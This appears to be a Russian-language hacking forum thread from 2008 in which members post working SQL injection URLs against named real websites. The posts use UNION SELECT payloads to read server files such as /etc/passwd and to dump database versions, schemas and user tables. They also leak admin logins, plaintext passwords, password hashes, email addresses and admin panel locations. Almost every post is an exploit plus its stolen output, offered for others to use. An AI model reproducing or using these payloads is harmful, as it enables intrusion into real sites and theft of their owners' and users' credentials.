SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://talentvelocity.us/index.php?page_id=-1&news_id=-1+union+select+1,2,load_file(0x2f6574632f68747470642f636f6e662f68747470642e636f6e66),4,5,6/*


    http://www.sportsplex.us/news.php?newsID=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4/*
     
    #6761 =HALK=, 10 Nov 2008
    Last edited: 10 Nov 2008
  2. pingvincible

    pingvincible New Member

    Joined:
    3 Nov 2008
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    http://weather.properm.ru/-1+union+select+1,grantee,privilege_type,4+from+information_schema.user_privileges+limit+0,1.html
     
  3. MaDfUn

    MaDfUn Elder - Старейшина

    Joined:
    2 Feb 2007
    Messages:
    28
    Likes Received:
    10
    Reputations:
    0
    http://www.oldarms.ru/litera.php?id=11&idg=-773+union+select+1,login,passwd,4,5,6,7,version(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+users/*
    ss:ss
     
  4. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://fmlive.us/news/index.php?newsid=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,txt_username,txt_password,txt_email_address),11+from+totalwar.tbl_login+limit+1,1--


    http://www.eibach.us/index_2.php?SPA=1&C_lang=en&LID1=13&LID2=0&LID3=0&LID4=0&LST=&NEWSID=-1+union+select+1,2,3,4,5,6,7,8,9,10,load_file('/etc/httpd/conf/httpd.conf')/*



    http://www.rahulgandhi.us/php/showNews.php?newsid=1&linkid=-1+union+select+version()--



    http://www.globalfriendship.us/newsdetail.php?news_id=-1+union+select+1,version(),3,4--
     
    #6764 =HALK=, 10 Nov 2008
    Last edited: 10 Nov 2008
  5. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Dbname: magind_main
    Version: 5.0.51a-community
    User: magind@localhost

     
    1 person likes this.
  6. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://www.biosecure.us/index.php?content=news&news_id=-1'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10/*
    ----------------------------------------------------



    http://larry.matthouse.us/index.php?pageid=-1+union+select+1,version(),3--
    ----------------------------------------------------


    http://citycarclub.us/page.php?id_page=-1+union+select+1,2,load_file(0x2f7661722f7777772f68746d6c2f6363635f66692f656e2f61646d696e2f696e636c7564652f436f6e6669672f436f6e6669672e706870)/*

    version:4.0.20-log
    user:wwwadmin@localhost
    database:ccc_en
    -----------------------------------------------------


    http://www.multiplesclerosisfoundation.net/online_newsDetails.php?ID=-1+union+select+1,2,load_file('/etc/passwd'),4,5,6/*

    version:4.0.24-standard
    user:root@localhost
    database:msf_db
    ----------------------------------------------------


    http://bowenshideout.limelyte.net/news.php?news_id=-1+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,user_id,user_pass,user_email,user_url,user_level))),6,7,8,9,10+from+nichebox.nb_users+limit+0,1/*

    version:5.0.15
    user:ann@localhost
    database:nichebox

    nichebox.nb_users
    user_id
    user_timestamp
    user_sessions
    user_lastsession
    user_pass
    user_email
    user_fullname
    user_showemail
    user_url
    user_level
    user_latitude
    user_longitude
    user_bio

    Админка
    http://bowenshideout.limelyte.net/admin/
    ---------------------------------------------------------------


    http://miheeff.net/news.php?news_id=-1+union+select+1,2,concat_ws(0x3a,username,rpassword),4,5,6,7,8,9,10,11+from+affil.wd_g_users+limit+0,1--

    version:5.0.51b-community-nt
    user:admin@localhost
    database:miheeff_net

    Блог admin:admin
    Админка:
    http://miheeff.net/admin/
     
    #6766 =HALK=, 10 Nov 2008
    Last edited: 11 Nov 2008
    1 person likes this.
  7. tbody

    tbody Member

    Joined:
    7 Jul 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    -9
    слепая
    http://www.simbin.se/news.php?newsid=108+union+select+1,2,3,4,5+from+users--

    http://www.shootingstarsfootballclub.com/gallery.php?catID=1+and+0+union+select+1,2,version(),4,5--
     
    #6767 tbody, 11 Nov 2008
    Last edited: 11 Nov 2008
  8. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://www.jackrussellmusic.net/news.php?news_id=-1+union+select+1,concat_ws(0xb,version(),user(),database()),3,4,5,6,7,8,9,10,11,12/*

    version:5.0.45-log
    user:[email protected]
    database:db210992846

    Админка
    http://www.jackrussellmusic.net/phpmyadmin/
    ----------------------------------------------------------------------


    http://www.crivello.net/news_detail.php?news_id=-1+union+select+1,concat_ws(0xb,username,password),3,4,5,6,7,8,9,10+from+marinegr_mgv.tbladmin--

    version:5.0.51a-3ubuntu5.1
    user:crivbus@localhost
    database:crivbus_crivello

    Admin ishir:ishir123
    -------------------------------------------------------------

    http://thebigone.homeip.net/comments/comment_news.php?news_id=-1+union+select+1,load_file('/etc/passwd'),3,4,5,6/*
    -----------------------------------------------------------------



    http://www.inspiredadventures.com.au/news.php?news_id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9--

    version:5.0.51b-log
    user:ins@localhost
    database:insInspired

    Есть таблицы от phpmyadmin
    -----------------------------------------------------------------



    http://www.nrn.org.au/local_update.php?news_id=9999+union+select+1,unhex(hex(concat_ws(0xb,admin_email,admin_password))),3,4,5,6+from+tbl_admin_user+limit+0,1--

    Админ
    [email protected]:593f2e62bf3cb5b255dc15b842c84ff0!e5
    [email protected]:7dbf82d961104983d41a20cf3c146250!94
    я только не вьехал чё за хэш....толи солёный мд5, толи ещё что...

    Админка: http://www.nrn.org.au/admin/
    ----------------------------------------------------------------


    http://www.lakewoodshores.com.au/index.php?option=previous&news_id=-1+union+select+1,2,3,Concat_ws(0xb,version(),user(),database()),5/*

    version:5.0.27-log
    user:lakewood@localhost
    database:lakewood_db

    Админка: http://www.lakewoodshores.com.au/admin/
    -----------------------------------------------------------------------



    http://www.animaldoctors.com.au/index.php?pgid=7&news_id=-1+union+select+1,2,concat_ws(0xb,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

    version:5.0.51a-community
    user:animaldo_bbuser@localhost
    database:animaldo_bbdb

    Юзвери(может и админы)
    [email protected]:.exa11.:
    bbadmin:bbadmin01:[email protected]
    admin101:animal:[email protected]
     
    #6768 =HALK=, 11 Nov 2008
    Last edited: 11 Nov 2008
  9. tsesar

    tsesar Banned

    Joined:
    30 Jan 2008
    Messages:
    0
    Likes Received:
    12
    Reputations:
    -9
    универмаг
    http://www.tsum.kirov.ru/img/?id=-1+union+select+1,2,img+from+images+where+id=343

    user:
    tsum@localhost

    admin:
    https://www.tsum.kirov.ru:10000/ //webmin

    information_schema:
    CHARACTER_SETS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    COLUMN_PRIVILEGES
    KEY_COLUMN_USAGE
    PROFILING
    ROUTINES
    SCHEMATA
    SCHEMA_PRIVILEGES
    STATISTICS
    TABLES
    TABLE_CONSTRAINTS
    TABLE_PRIVILEGES
    TRIGGERS
    USER_PRIVILEGES
    VIEWS
    author
    content
    games
    images
    konkurs_konkurs
    konkurs_otvet
    konkurs_peoples
    konkurs_vopros
    link_org
    link_words
    links
    miss
    news
    orders
    orgs
    price
    properties
    stat
    temp
    vote_quest
    vote_theme
    za_ro_points
    za_ro_points1
    za_ro_points2
    za_ro_points3
    za_ro_points_all
    za_ro_points_all_2006
    za_ro_points_old
    za_ro_points_t
    za_rodinu
    counsel
    forums
    messages
    sendmail
    sessions
    themes
    users
     
    #6769 tsesar, 11 Nov 2008
    Last edited: 11 Nov 2008
  10. pingvincible

    pingvincible New Member

    Joined:
    3 Nov 2008
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Вот админка: http://www.tsum.kirov.ru/admin

    http://www.tsum.kirov.ru/img/?big=2&id=-1+union+select+1,concat(login,0x3a,password),3+from+tsum_forum.users+limit+0,1+--+

    Юзеры форума:

    a:a
    Администрация:123
    Редактор:Редактор

    и т.д. по лимиту
     
  11. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    На сайте http://www.akords.net/ когда заходишь в текст или аккорды выдает пхп синтакс эрор. Не знаю как раскрутить скулю.. Попробуйте кто умеет:)
     
  12. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Для любителей пошпилить:
    еще интересности:
    admin.eurogamer.net
    sales.eurogamer.net

    некоторые пассы расшифровались,кто найдет пхпмайадмин, стучите)
     
    2 people like this.
  13. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://www.damagame.com/player.php?_id=-1+union+select+1,concat_ws(0x3a,_id,login,pass,email),3,4,5,6,7,8,9,10,11,12+from+damagame_damagame.players+where+login=0x61646d696e--
    admin:sassouki
     
    1 person likes this.
  14. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    http://bbc-polska.com/index.php?t=of&_id=-1+union+select+1,2,3,4,concat_ws(0x3a,username,password),6,7,8+from+bbc.user/*

    Админка : http://bbc-polska.com/admin admin:bbc
     
    1 person likes this.
  15. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    5 ветка

    http://arsenal-electro.ru/news_page.php?id=-1+union+select+1,2,concat(email,char(58),password),4+from+user+limit+1,1/*
     
  16. FNS

    FNS Member

    Joined:
    6 Nov 2008
    Messages:
    16
    Likes Received:
    11
    Reputations:
    0
    Code:
    http://www.akords.net/ru/song/-32702+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20--/
    Дальше сам, там пятая ветка :)
     
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.eajc.org/analytics_show_r.php?id=-27+union+select+1,2,3,4,5,concat_ws(0x3a,user_id,name,pass),7,8,9+from+adbm_user--
    логин,пасс:
    Code:
    admin:1d1ac3f687c1572b5654e3fbd502a7c9
    ---------------------------------------
    Code:
    http://www.operationsports.com/pressview.php?id=-52+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13+from+user
    логин,пасс:
    Code:
    Administrator:ad31bcf7706b6b6ec87ab0229346cd
    --------------------------------------
    Code:
    http://scarsdalecoops.com/index.php?go=detail&id=-99999/**/union/**/select/**/0,0,0,0,0,0,0,0,0,0,0x7c,email,0x3a,concat(username,0x3a,password),1,1,1,1,1,1,2,2,2,2,2/**/from/*%20*/admin/*where,limit,2--
    логин,пасс:
    Code:
    re310t4554rtr54try41h1g892g2h65j:57re7palm1513g4hg
    -------------------------------
    Code:
    http://www.berceaumagique.com/cat.php?id=-6+union+select+1,2,3,concat_ws(0x3a,login,0x3a,pass,0x3a,mail),5,6,7,8,9+from+admin+where+id=1--
    логин,пасс:
    Code:
    charlotte:407686174a65f5219d4b2132df7d29fa
    --------------------------------
    Code:
    http://astrol.ru/index.php?page=-1+union+select+1,2,3,4,concat(username,0x3a,user_password,0x3a,user_email),6,7+from+phpbb_users+limit+1,1/*
    логин/пасс:
    Code:
    admin:81407d59d0a24fc624b87f54c23b74b5
     
    #6777 -m0rgan-, 11 Nov 2008
    Last edited: 11 Nov 2008
    3 people like this.
  18. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,version(),3/*

    version 5.0.37-community-log
    user [email protected]
    database globalwaterfoundation_org_-_1
     
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Магазин Исполнителя Гитариста Продюссера
    Tim Scott

    http://www.timscott.co.uk/store/product_detail.php?id=3+union+select+1,2,3,version(),5,user(),database(),8 ,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24--

    version 4.1.22-standard
    user [email protected]
    database timscott
     
    1 person likes this.
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Магазин каких-то безделушек -)

    http://www.forgetyourself.com/product.php?id=-4/**/union/**/select/**/1,database(),3,4,user(),6, 7,8,9 ,10,11,12,13,14,version(),16,17,18--

    version 5.0.51a-community
    database indig_fys
    user indig_fys@localhost
     
    1 person likes this.
Thread Status:
Not open for further replies.